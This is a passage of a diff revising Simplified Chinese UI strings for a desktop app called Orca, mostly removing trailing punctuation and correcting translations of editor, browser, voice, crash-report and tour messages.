+          "copy": "复制任务",
           "stepsSucceeded_other": "{{count}} 个成功",
           "stepsSkipped_other": "{{count}} 个已跳过",
           "stepsPending_other": "{{count}} 个待处理",
           "stepsFailedOfTotal_other": "{{failed}} / {{count}} 个步骤失败"
         },
         "ExternalFileChangeBanner": {
-          "7c41e90d12": "当你有未保存的编辑时，磁盘上的文件发生了更改。覆盖将替换磁盘上较新的内容。",
+          "7c41e90d12": "你有未保存的修改时，磁盘上的文件发生了更改。覆盖会替换磁盘上较新的内容。",
           "3fa2b8d417": "从磁盘重新加载",
           "a95d02c644": "保留我的编辑",
           "overwrite": "覆盖",
@@ -16039,22 +16384,22 @@
         },
         "ExternalFileChangeCompareDialog": {
           "4b8de20a11": "文件在磁盘上已更改",
-          "90cc31e4d7": "左侧为磁盘版本，右侧为您的未保存编辑。",
+          "90cc31e4d7": "左侧为磁盘版本，右侧为您的未保存编辑",
           "8fe30ab254": "正在从磁盘读取文件...",
           "e2b1cd0393": "无法从磁盘读取文件：{{value0}}",
-          "b6cf20d514": "磁盘上的文件是二进制文件 — 无法进行文本比较。",
+          "b6cf20d514": "磁盘上的文件是二进制文件 — 无法进行文本比较",
           "3fa2b8d417": "从磁盘重新加载",
           "a95d02c644": "保留我的编辑",
           "2c8f1e07b9": "正在加载比较..."
         },
         "RichMarkdownEditor": {
-          "citationLinkAvailable": "{{value0}}，链接到 {{value1}}。按 Enter 打开，或按 Tab 移至链接操作。",
+          "citationLinkAvailable": "{{value0}}，链接到 {{value1}}，按 Enter 打开，或按 Tab 移至链接操作",
           "citationFallbackLabel": "引用",
-          "citationLinkUnavailable": "{{value0}}，引用链接不可用。{{value1}}",
-          "tabForCitationActions": "按 Tab 移至可用操作。",
-          "noCitationActions": "没有可用的链接操作。",
+          "citationLinkUnavailable": "{{value0}}，引用链接不可用，{{value1}}",
+          "tabForCitationActions": "按 Tab 移至可用操作",
+          "noCitationActions": "没有可用的链接操作",
           "togglePlaceholder": "文本",
-          "placeholder": "编写 Markdown… 输入 / 插入块。"
+          "placeholder": "编写 Markdown… 输入 / 插入块"
         },
         "richMarkdownHtmlSuperscriptLink": {
           "availableAriaLabel": "{{value0}}，链接到 {{value1}}",
@@ -16065,13 +16410,13 @@
           "copyLinkFailed": "复制链接失败"
         },
         "richMarkdownSourceOwningCutFeedback": {
-          "selectLessContent": "请选择较少的内容，或使用代码模式剪切保留的 HTML 引用。"
+          "selectLessContent": "请选择较少的内容，或使用代码模式剪切保留的 HTML 引用"
         },
         "editor": {
           "save": {
             "failure": {
               "notice": {
-                "8c59ce5075": "保存文件失败。请重试。"
+                "8c59ce5075": "保存文件失败，请重试！"
               }
             },
             "stale": {
@@ -16081,31 +16426,31 @@
               "notice": "此部分加载后，磁盘上的文件发生了更改。"
             },
             "notUtf8": {
-              "notice": "{{name}} 不是 UTF-8 文本，因此已暂停自动保存。手动保存会将其重写为 UTF-8，并替换无效的 UTF-8 字符。",
-              "refused": "此文件不是 UTF-8 文本，因此未保存。",
+              "notice": "{{name}} 不是 UTF-8 文本，因此已暂停自动保存。手动保存会将其重写为 UTF-8，并替换无效的 UTF-8 字符",
+              "refused": "此文件不是 UTF-8 文本，因此未保存",
               "confirm": {
                 "title": "将 {{name}} 保存为 UTF-8？",
-                "description": "此文件不是 UTF-8 文本。保存为 UTF-8 会将无效的 UTF-8 字符替换为 �，且原始字节无法恢复。",
+                "description": "此文件不是 UTF-8 文本。保存为 UTF-8 会将无效的 UTF-8 字符替换为 �，且原始字节无法恢复",
                 "action": "保存为 UTF-8"
               }
             }
           }
         },
         "CheckRunAnnotations": {
-          "copy": "复制注释"
+          "copy": "复制批注"
         },
         "CheckRunCopyButton": {
           "copied": "已复制",
           "failed": "无法复制",
-          "empty": "没有什么可复制的"
+          "empty": "无可复制内容"
         },
         "HtmlDocPreview": {
-          "documentTooLargePanel": "该文档太大，无法预览。请改为在编辑器中打开它。",
-          "documentUnreadablePanel": "Orca 无法从工作区读取此文件。",
-          "multipleAssetsFailedNotice": "无法加载此文档中的 {{count}} 文件。",
-          "assetTooLargeNotice": "{{path}} 太大，无法在此预览中加载。",
-          "assetUnsupportedNotice": "此工作区无法将 {{path}} 发送到预览。",
-          "assetUnreadableNotice": "Orca 无法从工作区读取 {{path}}。",
+          "documentTooLargePanel": "此文档过大，无法预览，请改为在编辑器中打开",
+          "documentUnreadablePanel": "Orca 无法从工作区读取此文件",
+          "multipleAssetsFailedNotice": "无法加载此文档中的 {{count}} 个文件",
+          "assetTooLargeNotice": "{{path}} 过大，无法在此预览中加载",
+          "assetUnsupportedNotice": "此工作区无法将 {{path}} 发送到预览",
+          "assetUnreadableNotice": "Orca 无法从工作区读取 {{path}}",
           "previewAriaLabel": "HTML 预览",
           "reloadPreviewControl": "重新加载预览",
           "previewUnavailableTitle": "预览不可用",
@@ -16113,31 +16458,31 @@
           "documentPathCopied": "已复制",
           "workspaceFileChipLabel": "工作区文件",
           "previewMenuControl": "预览选项",
-          "openSourceControl": "开源文件",
-          "openExternallyControl": "使用默认应用程序打开",
+          "openSourceControl": "打开源文件",
+          "openExternallyControl": "用默认应用打开",
           "copyDocumentRelativePathControl": "复制相对路径",
-          "openExternallyUnknownHostError": "无法打开“{{value0}}”：不再知道拥有它的主机。",
-          "downloadBlockedNotice": "文档预览中禁用下载。",
-          "directoryAuthorizationFailed": "无法允许访问此目录。",
-          "directoryAccessRequest": "此预览想要读取 {{path}} 中的文件。",
+          "openExternallyUnknownHostError": "无法打开\"{{value0}}\"：已无法确定其所属主机",
+          "downloadBlockedNotice": "文档预览中已禁用下载",
+          "directoryAuthorizationFailed": "无法授权访问此目录",
+          "directoryAccessRequest": "此预览想要读取 {{path}} 中的文件",
           "dismissAccessRequest": "关闭",
-          "allowDirectory": "允许文件夹",
-          "directoryAccessRequestOverflow": "{{folders}} 和 {{count}} 更多",
-          "directoryAccessRequestMultiple": "此预览想要读取 {{folders}} 中的文件。",
-          "allowDirectories": "允许 {{count}} 文件夹",
+          "allowDirectory": "允许访问文件夹",
+          "directoryAccessRequestOverflow": "{{folders}}，以及另外 {{count}} 个",
+          "directoryAccessRequestMultiple": "此预览想要读取 {{folders}} 中的文件",
+          "allowDirectories": "允许访问 {{count}} 个文件夹",
           "editAddressControl": "编辑地址"
         },
         "LargeDiffLoadPrompt": {
-          "a0af0198aa": "默认情况下不渲染较大的差异。",
-          "c3d9f4a712": "此差异的大小尚不清楚，因此会根据请求加载。",
-          "f7fa7a40d0": "负载差异"
+          "a0af0198aa": "默认不渲染大型差异",
+          "c3d9f4a712": "尚不清楚此差异的大小，因此仅在请求时加载",
+          "f7fa7a40d0": "加载差异"
         },
         "richMarkdownImageInsertionFeedback": {
-          "importedFileKept": "由于目的地更改，图像插入被取消。导入的文件被保留。",
-          "destinationChanged": "由于目的地更改，图像插入被取消。再试一次。"
+          "importedFileKept": "由于目的地更改，图像插入被取消，导入的文件被保留",
+          "destinationChanged": "由于目的地更改，图像插入被取消，再试一次"
         },
         "useMarkdownDocuments": {
-          "listFailed": "无法列出 Markdown 文档。"
+          "listFailed": "无法列出 Markdown 文档"
         },
         "EditorPanelActionsMenu": {
           "fileActions": "文件操作"
@@ -16178,16 +16523,16 @@
           "endConflict": "冲突结束"
         },
         "richMarkdownImageInsert": {
-          "hostUnverified": "无法确认此文件属于哪台主机。请重新打开文件后重试。"
+          "hostUnverified": "无法确认此文件属于哪台主机。请重新打开文件后重试"
         },
         "contextualCopy": {
           "copyContextHint": "复制上下文 {{shortcut}}"
         },
         "EditorPanel": {
           "diffLoadError": "加载差异时出错：{{error}}",
-          "siblingFileAlreadyOpen": "关联文件已打开；请先关闭一个标签页再恢复。",
-          "siblingFileOwnerChanged": "恢复标签页期间，关联文件的所有者发生了变化。",
-          "csvGrewTooLarge": "CSV 文件已变得过大，无法编辑。草稿已保留；请重新打开文件进行预览。"
+          "siblingFileAlreadyOpen": "关联文件已打开；请先关闭一个标签页再恢复",
+          "siblingFileOwnerChanged": "恢复标签页期间，关联文件的所有者发生了变化",
+          "csvGrewTooLarge": "CSV 文件已变得过大，无法编辑。草稿已保留；请重新打开文件进行预览"
         },
         "PluginFileTypeSuggestion": {
           "message": "有插件可以打开 .{{value0}} 文件：{{value1}}",
@@ -16216,6 +16561,14 @@
           "tooLarge": "{{value0}} 过大，无法在 {{value1}} 中打开（{{value2}}；上限为 {{value3}}）。",
           "unsupported": "{{value0}} 无法从此文件的存储位置读取它。请更新托管该文件的 Orca 服务器，或切换到源代码。",
           "readFailed": "无法为 {{value1}} 读取 {{value0}}。{{value2}}"
+        },
+        "fileLoadError": {
+          "fileNotFound": "ENOENT：无法打开 {{path}}，文件或目录不存在",
+          "pathAccessDenied": "拒绝访问：路径解析到允许目录之外，如果这阻碍了合法工作流，请提交 GitHub 议题",
+          "changedDuringRead": "文件在加载过程中已在磁盘上更改，请重新加载文件以查看最新版本",
+          "remotePathIsDirectory": "远程路径是一个目录",
+          "remotePagedReadUnsupported": "远程文件超过了此 Orca 服务器可发送的 512 KB 上限，请更新服务器后再打开",
+          "remoteFileTooLarge": "远程文件过大，无法在编辑器中打开（{{bytes}} 字节）"
         }
       },
       "diff": {
@@ -16235,10 +16588,10 @@
             "2b3ce6d394": "取消",
             "e05063cfc1": "行 {{value0}}",
             "c845170b3b": "行 {{value0}}-{{value1}}",
-            "commentTooLarge": "评论过长，无法安全提交。",
-            "f6c449191e": "为AI添加注释",
+            "commentTooLarge": "评论过长，无法安全提交",
+            "f6c449191e": "为 AI 添加注释",
             "5fa4bfebaa": "添加备注",
-            "5e9b3d0c2e": "添加..."
+            "5e9b3d0c2e": "添加…"
           },
           "useDiffCommentDecorator": {
             "995fa28b50": "此注"
@@ -16253,15 +16606,15 @@
           "de136f1199": "语音错误：{{value0}}",
           "55127a3706": "听写失败：{{value0}}",
           "bb7f599ee7": "打开设置",
-          "2d5b9fabf9": "麦克风访问被拒绝。在系统设置中授予访问权限，然后重新启动 Orca。",
-          "noModel": "未选择语音模型。请在“设置 > 语音”中下载一个。",
-          "disabled": "语音听写已禁用。请在“设置 > 语音”中启用。",
-          "notReady": "语音模型尚未就绪。请在“设置 > 语音”中下载。",
+          "2d5b9fabf9": "麦克风访问被拒绝，在系统设置中授予访问权限，然后重新启动 Orca",
+          "noModel": "尚未选择语音模型，请前往\"设置 > 语音\"下载模型",
+          "disabled": "语音听写已禁用，请前往\"设置 > 语音\"启用",
+          "notReady": "语音模型尚未就绪，请前往\"设置 > 语音\"下载模型",
           "modelNeedsUpdate": "你的语音模型需要更新才能继续使用。请在“设置 > 语音”中更新到更快的版本。",
-          "unknownModel": "所选模型已不可用。请在“设置 > 语音”中选择其他模型。",
-          "5d2c3e7ae3": "未检测到语音。",
-          "micFallback": "所选麦克风不可用。使用系统默认值。",
-          "micDisconnected": "麦克风已断开。听写停止了。",
+          "unknownModel": "所选模型已不可用，请前往\"设置 > 语音\"选择其他模型",
+          "5d2c3e7ae3": "未检测到语音",
+          "micFallback": "所选麦克风不可用，改用系统默认",
+          "micDisconnected": "麦克风已断开，听写已停止，",
           "cloudLimitReached": "已达 10 分钟云端上限。听写已停止。",
           "retryUnmatched": "重试时无法判断哪些字词已输入，因此已全部插入。"
         },
@@ -16298,8 +16651,8 @@
           "a743da52ff": "展开详情",
           "a41fb5376e": "折叠详情",
           "5ae84475cc": "关闭",
-          "b06e13fcf7": "关闭智能体",
-          "0272969e28": "发送给该智能体",
+          "b06e13fcf7": "关闭代理",
+          "0272969e28": "发送给该代理",
           "justNow": "刚刚",
           "timeAgo": "{{duration}} 前",
           "dispatchedAgents_other": "{{agentType}} - 已分派 {{count}} 个智能体",
@@ -16319,35 +16672,35 @@
             "50b00dc327": "复制详情",
             "6d3ebe216a": "诊断文本",
             "835037edc9": "Orca",
-            "8e24fe4f75": "已发送错误报告。",
-            "8b8473c544": "已复制错误报告。",
+            "8e24fe4f75": "已发送错误报告",
+            "8b8473c544": "已复制错误报告",
             "765591798d": "正在检查错误报告...",
-            "ead6fc0510": "没有捕获到自动崩溃报告。你仍然可以发送详情，并在可用时包含最近的诊断日志。",
+            "ead6fc0510": "没有捕获到自动崩溃报告，你仍然可以发送详情，并在可用时包含最近的诊断日志",
             "b082f27490": "附加最近的诊断日志",
-            "e59f0b9427": "随报告发送经过删减且有大小限制的日志包。"
+            "e59f0b9427": "随报告发送经过删减且有大小限制的日志包"
           },
           "submit": {
             "notice": {
-              "unknownError": "崩溃报告请求在返回原因之前失败。",
-              "ticketUploaded": "诊断工单 {{value0}} 已上传但未关联。",
-              "uncheckDiagnostics": "取消勾选\"附加最近的诊断日志\"并重试，或复制详细信息。",
-              "checkConnection": "请检查网络连接并重试，或复制详细信息。",
+              "unknownError": "崩溃报告请求在返回原因之前失败",
+              "ticketUploaded": "诊断工单 {{value0}} 已上传但未关联",
+              "uncheckDiagnostics": "取消勾选\"附加最近的诊断日志\"并重试，或复制详细信息",
+              "checkConnection": "请检查网络连接并重试，或复制详细信息",
               "notSent": "崩溃报告未发送",
-              "copyDetails": "Copy Details",
+              "copyDetails": "复制详情",
               "sentWithoutDiagnostics": "崩溃报告已发送，但未附带诊断日志",
               "diagnosticsReason": "诊断日志未附加：{{value0}}"
             }
           },
           "copy": {
-            "copyFailed": "无法复制崩溃报告详细信息。"
+            "copyFailed": "无法复制崩溃报告详细信息"
           },
           "CrashReportDialogSurface": {
             "reportTitle": "报告崩溃",
             "uiErrorTitle": "Orca 遇到了可恢复的界面错误",
             "closedTitle": "Orca 意外关闭",
-            "reportDescription": "发送一份保护隐私的崩溃报告。如有可用，会附上最近经过脱敏的诊断日志。",
-            "uiErrorDescription": "发送一份保护隐私的诊断报告，帮助我们了解出错的界面部分。",
-            "closedDescription": "发送一份保护隐私的诊断报告，帮助我们了解发生了什么。",
+            "reportDescription": "发送一份保护隐私的崩溃报告。如有可用，会附上最近经过脱敏的诊断日志",
+            "uiErrorDescription": "发送一份保护隐私的诊断报告，帮助我们了解出错的界面部分",
+            "closedDescription": "发送一份保护隐私的诊断报告，帮助我们了解发生了什么",
             "reportNotesPlaceholder": "可选：发生了什么？",
             "uiErrorNotesPlaceholder": "可选：出现此界面错误前你在做什么？",
             "closedNotesPlaceholder": "可选：Orca 关闭前你在做什么？",
@@ -16359,7 +16712,7 @@
       "contextual": {
         "tours": {
           "ContextualTourControl": {
-            "186eecc34f": "根据第一条智能体消息自动命名工作区",
+            "186eecc34f": "根据第一条代理消息自动命名工作区",
             "731c5573df": "根据第一条消息自动命名"
           },
           "ContextualTourOverlaySurface": {
@@ -16369,7 +16722,7 @@
             "complete": "完成"
           },
           "ContextualTourProgressDots": {
-            "dcd6e6b03e": "{{value1}} 的步骤 {{value0}}",
+            "dcd6e6b03e": "第 {{value0}} 步，共 {{value1}} 步",
             "stepOfTotal": "{{current}} / {{total}}"
           },
           "contextual": {
@@ -16380,19 +16733,19 @@
                   "automations": {
                     "intro": {
                       "title": "什么是自动化？",
-                      "body": "自动化按计划运行智能体工作。单击此按钮添加自动化。"
+                      "body": "自动化会按计划运行代理任务，点击此按钮添加自动化"
                     },
                     "results": {
                       "title": "查找结果",
-                      "body": "运行显示自动化何时运行、发生了什么以及在哪里检查其输出。"
+                      "body": "运行记录会显示自动化何时执行、发生了什么，以及可在何处查看其输出"
                     }
                   },
                   "client": {
                     "hosted": {
                       "browser": {
                         "intro": {
-                          "title": "此页面呈现在您的桌​​面上",
-                          "body": "远程浏览器选项卡现在在此设备上呈现。网络流量仍然通过远程主机。"
+                          "title": "此页面在你的桌面上渲染",
+                          "body": "远程浏览器标签页现在会在此设备上渲染，网络流量仍通过远程主机"
                         }
                       }
                     }
@@ -16405,25 +16758,25 @@
                     "board": {
                       "plan": {
                         "title": "在看板中规划工作",
-                        "body": "想按状态而不是按项目查看工作区时，请使用看板。"
+                        "body": "想按状态而不是按项目查看工作区时，请使用看板"
                       },
                       "lanes": {
                         "title": "在泳道之间移动工作",
-                        "body": "状态变化时，把工作区拖到相应的泳道。"
+                        "body": "状态变化时，把工作区拖到相应的泳道"
                       }
                     },
                     "creation": {
                       "project": {
                         "title": "选择项目",
-                        "body": "Orca 会把每个任务隔离到基于基础分支创建的独立工作树中。"
+                        "body": "Orca 会把每个任务隔离到基于基础分支创建的独立工作树中"
                       },
                       "name": {
                         "title": "命名，或从已有工作开始",
-                        "body": "从关联的任务开始可获得简短的 issue 或 PR 名称。留空则会根据你的第一条智能体消息自动命名。"
+                        "body": "从关联的任务开始可获得简短的 issue 或 PR 名称。留空则会根据你的第一条智能体消息自动命名"
                       },
                       "agent": {
                         "title": "选择由哪个智能体开始工作",
-                        "body": "选择创建此工作树时要打开的智能体。"
+                        "body": "选择创建此工作树时要打开的智能体"
                       }
                     }
                   },
@@ -16431,48 +16784,48 @@
                     "sessions": {
                       "split": {
                         "title": "拆分终端窗格",
-                        "body": "使用 {terminal.splitRight} 打开第二个终端窗格，或右键点击窗格查看拆分选项。",
+                        "body": "使用 {terminal.splitRight} 打开第二个终端窗格，或右键点击窗格查看拆分选项",
                         "action": "拆分终端"
                       },
                       "parallel": {
                         "title": "并行开始另一个任务",
-                        "body": "每个工作树都有自己的分支，因此并行进行的工作互不干扰。"
+                        "body": "每个工作树都有自己的分支，因此并行进行的工作互不干扰"
                       }
                     }
                   },
                   "browser": {
                     "annotate": {
                       "title": "就地标注设计反馈",
-                      "body": "为元素添加批注，并把这些备注发送给智能体。"
+                      "body": "为元素添加批注，并把这些备注发送给智能体"
                     },
                     "logins": {
                       "title": "保持登录状态",
-                      "body": "把现有登录信息导入 Orca，立即保持登录状态。"
+                      "body": "把现有登录信息导入 Orca，立即保持登录状态"
                     }
                   },
                   "tasks": {
                     "source": {
                       "title": "选择工作来源",
-                      "body": "无需切换页面即可在已连接的提供方和项目筛选之间切换。"
+                      "body": "无需切换页面即可在已连接的提供方和项目筛选之间切换"
                     },
                     "filter": {
                       "title": "筛选出你需要的工作",
-                      "body": "使用预设和搜索来缩小 issues、评审、merge requests 或任务的范围。"
+                      "body": "使用预设和搜索来缩小 issues、评审、merge requests 或任务的范围"
                     },
                     "start": {
                       "title": "从工作项开始",
-                      "body": "在任务、issue、评审或 merge request 上点击开始或打开，即可把其上下文带入工作区。"
+                      "body": "在任务、issue、评审或 merge request 上点击开始或打开，即可把其上下文带入工作区"
                     }
                   },
                   "floating": {
                     "workspace": {
                       "repos": {
                         "title": "在所有仓库中运行智能体",
-                        "body": "这里的智能体可在你选择的任意文件夹中运行。把它指向服务所在目录的上一级，即可一次性处理所有仓库。"
+                        "body": "这里的智能体可在你选择的任意文件夹中运行。把它指向服务所在目录的上一级，即可一次性处理所有仓库"
                       },
                       "scratchpad": {
                         "title": "也可当作草稿区使用",
-                        "body": "打开智能体、临时终端、笔记和浏览器标签页，同时不会弄乱你正在专注的工作树。"
+                        "body": "打开智能体、临时终端、笔记和浏览器标签页，同时不会弄乱你正在专注的工作树"
                       }
                     }
                   },
@@ -16496,20 +16849,20 @@
         "j": {
           "quick": {
             "actions": {
-              "c884a6398e": "创建保存的终端命令。",
+              "c884a6398e": "创建保存的终端命令",
               "a43ab56fc1": "添加快捷命令",
-              "54853d52a2": "删除当前工作树。",
+              "54853d52a2": "删除当前工作树",
               "9537b910fe": "删除工作树",
-              "0b1f25f796": "启动一个新的工作树。",
+              "0b1f25f796": "启动一个新的工作树",
               "52ac9da671": "创建工作树",
-              "f70812764a": "在活动工作区中打开终端选项卡。",
+              "f70812764a": "在活动工作区中打开终端选项卡",
               "34980395d4": "新终端选项卡",
-              "f2a1b33f8d": "在活动工作区中创建一个无标题的 Markdown 文件。",
+              "f2a1b33f8d": "在活动工作区中创建一个无标题的 Markdown 文件",
               "25349b66fc": "新的 Markdown 文件",
-              "784812ca24": "在活动工作区中打开浏览器选项卡。",
+              "784812ca24": "在活动工作区中打开浏览器选项卡",
               "892bfa9339": "新浏览器选项卡",
-              "splitChatRight": "右侧拆分聊天",
-              "splitChatDown": "拆分聊天",
+              "splitChatRight": "向右拆分聊天",
+              "splitChatDown": "向下拆分聊天",
               "verbs": {
                 "newBrowser": "新浏览器",
                 "newBrowserTab": "新的浏览器页",
@@ -16523,10 +16876,10 @@
                 "newTerminal": "新终端",
                 "newTerminalTab": "新的终端选项卡",
                 "newShell": "新shell",
-                "splitChatRight": "拆分聊天权限",
-                "splitChatDown": "拆分聊天",
-                "chatPaneRight": "聊天窗格右侧",
-                "chatPaneBelow": "下面的聊天窗格",
+                "splitChatRight": "向右拆分聊天",
+                "splitChatDown": "向下拆分聊天",
+                "chatPaneRight": "右侧聊天窗格",
+                "chatPaneBelow": "下方聊天窗格",
                 "terminalTab": "终端选项卡",
                 "createWorktree": "创建工作树",
                 "addWorktree": "添加工作树",
@@ -16571,17 +16924,17 @@
             "e0e125e074": "从文件...",
             "0c6d254eca": "从 {{value0}}",
             "244266c122": "导入…",
-            "e52a955e6f": "您始终可以在“设置”>“浏览器”中找到它。",
+            "e52a955e6f": "您始终可以在\"设置\">\"浏览器\"中找到它",
             "4f5ffaa6a1": "导入浏览器数据",
-            "02e89014c5": "从 {{value1}}{{value2}} 导入 {{value0}} cookie。",
-            "d40d584769": "已从文件导入 {{value0}} 个 Cookie。"
+            "02e89014c5": "从 {{value1}}{{value2}} 导入 {{value0}} cookie",
+            "d40d584769": "已从文件导入 {{value0}} 个 Cookie"
           },
           "BrowserMobileDriverOverlay": {
             "a6914ee43f": "收回",
-            "f4ecd61552": "该选项卡由您的手机控制。收回来在桌面上使用它。",
+            "f4ecd61552": "该选项卡由您的手机控制，收回来在桌面上使用它",
             "d9768ec642": "浏览器输入已暂停",
             "20539eca03": "移动端正在控制此浏览器",
-            "7c31b0da94": "无法收回此标签。检查手机会话，然后重试。"
+            "7c31b0da94": "无法收回此标签页，请检查手机会话后重试"
           },
           "BrowserPane": {
             "1ded0d3168": "复制截图",
@@ -16591,7 +16944,7 @@
             "f2d0c22d67": "删除注释 {{value0}}",
             "11c5084aa2": "清晰的注释",
             "734e4343ec": "清除浏览器注释",
-            "95af781091": "向智能体发送反馈",
+            "95af781091": "向代理发送反馈",
             "ac39b9366b": "发送",
             "366bf5d62c": "新标签",
             "781d6459ad": "重试",
@@ -16610,15 +16963,15 @@
             "efb0e8f7f3": "复制链接地址",
             "8ce4f6b12e": "在默认浏览器中打开链接",
             "b5b87d6cbb": "在 Orca 浏览器中打开链接",
-            "87eb75f7d2": "输入有效的 http(s) 或本地主机 URL。",
+            "87eb75f7d2": "输入有效的 http(s) 或本地主机 URL",
             "27d863542c": "浏览器注释",
-            "e48569ac6d": "无法访问该网站。",
-            "bbe8f15e83": "该窗格是从活动运行时服务器呈现的。",
-            "8b7e6d1f5a": "浏览器注释仅在本地浏览器选项卡中可用。",
+            "e48569ac6d": "无法访问该网站",
+            "bbe8f15e83": "该窗格是从活动运行时服务器呈现的",
+            "8b7e6d1f5a": "浏览器注释仅在本地浏览器选项卡中可用",
             "deb5293610": "浏览器注释在远程运行时不可用",
             "90d021f2ad": "添加",
             "0cb3bd6221": "注释意图",
-            "532bac48c5": "描述智能体应该在这里改变什么......",
+            "532bac48c5": "描述代理应该在这里改变什么......",
             "d2a7092e6e": "注释评论",
             "b472c5fe03": "添加浏览器注释",
             "b5ba6085de": "疑问",
@@ -16626,10 +16979,10 @@
             "d51ef37351": "复制",
             "6f4ab3592b": "已复制",
             "499b31b84e": "全部复制",
-            "168350ae6a": "单击或悬停一个元素，然后按 C 进行复制或按 S 进行屏幕截图。",
+            "168350ae6a": "单击或悬停一个元素，然后按 C 进行复制或按 S 进行屏幕截图",
             "e852e20cea": "已复制 — 按 S 进行屏幕截图，或选择另一个元素",
-            "777b5bc4ec": "单击一个元素可为智能体添加反馈。",
-            "b733a91bd9": "为所选元素添加反馈。",
+            "777b5bc4ec": "单击一个元素可为代理添加反馈",
+            "b733a91bd9": "为所选元素添加反馈",
             "4328a0a062": "抓取失败：{{value0}}",
             "759f32af29": "正在下载",
             "4300f38145": "从 {{value0}}{{value1}} 下载",
@@ -16638,11 +16991,11 @@
             "b313a7275b": "打开远程浏览器",
             "ea6af700da": "{{value0}} 条注释",
             "c13693fe27": "{{value0}} 条注释",
-            "074f0ed10b": "{{value0}} 条注释已准备好。请选择另一个元素或复制所有反馈。",
-            "a2164a6e5a": "{{value0}} 条注释已准备好。请选择另一个元素或复制所有反馈。",
-            "9f6f2e8c19": "下载文件路径不可用。",
-            "0c79b7634d": "无法打开下载的文件。它可能已被移动或删除。",
-            "397d9dc923": "无法显示下载的文件。它可能已被移动或删除。",
+            "074f0ed10b": "{{value0}} 条注释已准备好，请选择另一个元素或复制所有反馈",
+            "a2164a6e5a": "{{value0}} 条注释已准备好，请选择另一个元素或复制所有反馈",
+            "9f6f2e8c19": "下载文件路径不可用",
+            "0c79b7634d": "无法打开下载的文件，它可能已被移动或删除",
+            "397d9dc923": "无法显示下载的文件，它可能已被移动或删除",
             "39c04fed61": "下载已暂停",
             "5c3d530a68": "已下载",
             "4bb7424d6b": "已取消",
@@ -16651,7 +17004,7 @@
             "09a9489aa5": "显示",
             "2a4c4b8e1f": "复制",
             "b71dc3d930": "重新连接",
-            "fileUrlUnsupported": "此浏览器选项卡无法打开本地文件。对文件使用“打开侧面预览”。",
+            "fileUrlUnsupported": "此浏览器标签页无法打开本地文件，请改用文件的\"在侧边打开预览\"操作",
             "addToDictionary": "添加到词典",
             "undo": "撤销",
             "redo": "重做",
@@ -16674,27 +17027,27 @@
           },
           "BrowserToolbarMenu": {
             "429ef481f9": "取消",
-            "64f448fb6e": "配置文件名称",
+            "64f448fb6e": "个人资料名称",
             "67e9b9fcd6": "新的浏览器配置文件",
             "58f2c81542": "转变",
-            "a38f217b46": "切换配置文件将重新加载此页面。任何未保存的表单数据都将丢失。",
-            "fe683eb3b4": "切换配置文件",
+            "a38f217b46": "切换配置文件将重新加载此页面，任何未保存的表单数据都将丢失",
+            "fe683eb3b4": "开关配置文件",
             "a771c2b6c8": "浏览器设置...",
             "ed8f54509d": "默认",
             "e5d31de1a9": "视口尺寸",
             "56f94f4ffa": "从文件...",
             "eb280bfb11": "从 {{value0}}",
             "2293adf620": "导入 Cookie",
-            "cf7cdc67ef": "新建配置文件…",
+            "cf7cdc67ef": "新档案...",
             "7b838540c7": "浏览器菜单",
             "a7a86702b3": "创建并切换到 {{value0}} 配置文件",
-            "4d2f9f13a7": "创建配置文件失败。",
+            "4d2f9f13a7": "创建个人资料失败",
             "3ccd29d771": "切换到 {{value0}} 配置文件",
             "569bce8eb1": "创建",
             "bf648471c5": "创建中…",
-            "53bbe3dab4": "已从文件导入 {{value0}} 个 Cookie。",
-            "c5f0e4d3b2a1": "已从 {{value1}} ({{value2}}) 导入 {{value0}} 个 Cookie。",
-            "d6a1f5e4c3b2": "已从 {{value1}} 导入 {{value0}} 个 Cookie。",
+            "53bbe3dab4": "已从文件导入 {{value0}} 个 Cookie",
+            "c5f0e4d3b2a1": "已从 {{value1}} ({{value2}}) 导入 {{value0}} 个 Cookie",
+            "d6a1f5e4c3b2": "已从 {{value1}} 导入 {{value0}} 个 Cookie",
             "zoom": "缩放",
             "zoomOut": "缩小",
             "zoomIn": "放大",
@@ -16718,8 +17071,8 @@
             "d053db279d": "角色=",
             "a759d8f866": "选定的元素",
             "9c6ce0632a": "所选元素屏幕截图",
-            "50f7114f99": "附加前请先检查。捕获的页面上下文可以包括可见的站点内容。",
-            "f3575229df": "抓住",
+            "50f7114f99": "附加前请先检查，捕获的页面上下文可以包括可见的站点内容",
+            "f3575229df": "保持",
             "405bb315da": "无题"
           },
           "browser": {
@@ -16733,7 +17086,7 @@
             }
           },
           "download": {
-            "savedToRemote": "保存到 {{value2}} 上的 {{value1}}"
+            "savedToRemote": "已保存到 {{value2}} 上的 {{value1}}"
           },
           "annotate": {
             "use": {
@@ -16742,9 +17095,9 @@
                   "grab": {
                     "annotations": {
                       "0c7b9b2b7a": "已复制",
-                      "c937229f19": "截图",
-                      "1f5cb19034": "添加了注释",
-                      "limitReached": "已达到 {{limit}} 条注释的上限。请发送、删除或清除一些后再添加。"
+                      "c937229f19": "已截图",
+                      "1f5cb19034": "已添加注释",
+                      "limitReached": "已达到 {{limit}} 条注释的上限。请发送、删除或清除一些后再添加"
                     }
                   }
                 }
@@ -16774,8 +17127,8 @@
                 "page": {
                   "navigation": {
                     "downloads": {
-                      "8683b84b9e": "浏览器页面尚未准备好进行文件删除。",
-                      "22272f2784": "将文件拖放到浏览器页面上，而不是工具栏上。"
+                      "8683b84b9e": "浏览器页面尚未就绪，无法接收拖放文件",
+                      "22272f2784": "请将文件拖放到浏览器页面，而不是工具栏"
                     }
                   }
                 }
@@ -16785,10 +17138,10 @@
         },
         "webauthn": {
           "account": {
-            "fallback": "万能钥匙",
-            "title": "选择一个密钥",
-            "description": "选择要与此安全密钥一起使用的帐户。",
-            "site": "地点",
+            "fallback": "通行密钥",
+            "title": "选择通行密钥",
+            "description": "选择要与此安全密钥配合使用的账户",
+            "site": "网站",
             "cancel": "取消"
           }
         }
@@ -16812,11 +17165,11 @@
           "trigger": "触发",
           "loading": "正在加载运行…",
           "noRuns": "尚无运行",
-          "emptyDescription": "触发自动化后，运行记录会显示在这里。",
+          "emptyDescription": "触发自动化后，运行记录会显示在这里",
           "runs": "运行",
           "local": "本地",
           "remote": "远程",
-          "historyUnavailable_other": "{{count}} 个自动化的运行历史不可用。统计仅包含可用的历史记录。"
+          "historyUnavailable_other": "{{count}} 个自动化的运行历史不可用。统计仅包含可用的历史记录"
         },
         "AutomationsPageBreadcrumb": {
           "ariaLabel": "自动化面包屑导航",
@@ -16824,8 +17177,8 @@
         },
         "AutomationCustomCronPanel": {
           "3e3b2c369f": "cron",
